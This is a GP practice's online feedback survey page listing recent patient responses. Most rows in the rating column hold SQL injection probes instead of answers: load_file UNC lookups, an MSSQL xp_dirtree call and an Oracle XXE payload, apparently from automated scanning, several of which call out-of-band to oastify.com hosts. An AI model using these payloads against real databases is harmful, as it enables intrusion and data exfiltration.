Summary of past responses
You must include a field id or key in your graph shortcode.Recent responses
| Thinking about our GP practice… Overall, how was your experience of our service? | Please can you tell us why you gave your answer? | Please tell us about anything that we could have… | Date |
|---|---|---|---|
Very good’ | [10] | [11] | July 4, 2023 at 10:10 am |
Very good’+(select load_file(‘\z22c9it5t3i9gpe8z28j0d39t0z4nxdl4osgfd32.oastify.comthe’))+’ | [10] | [11] | July 4, 2023 at 10:10 am |
(select load_file(‘\154eckw7w5lbjrha24bl3f6bw226qzgn7pvhie63.oastify.comnzg’)) | [10] | [11] | July 4, 2023 at 10:10 am |
Very good’;declare @q varchar(99);set @q=’kvjx23mqmobu9a7tsn14tywumlspgi66xxlp8mwb.oasti’+’fy.comxiy’; exec master.dbo.xp_dirtree @q;– | [10] | [11] | July 4, 2023 at 10:10 am |
Very good’||(select extractvalue(xmltype(‘<!DOCTYPE root [ %dniyk;]>’),’/l’) from dual)||’ | [10] | [11] | July 4, 2023 at 10:10 am |
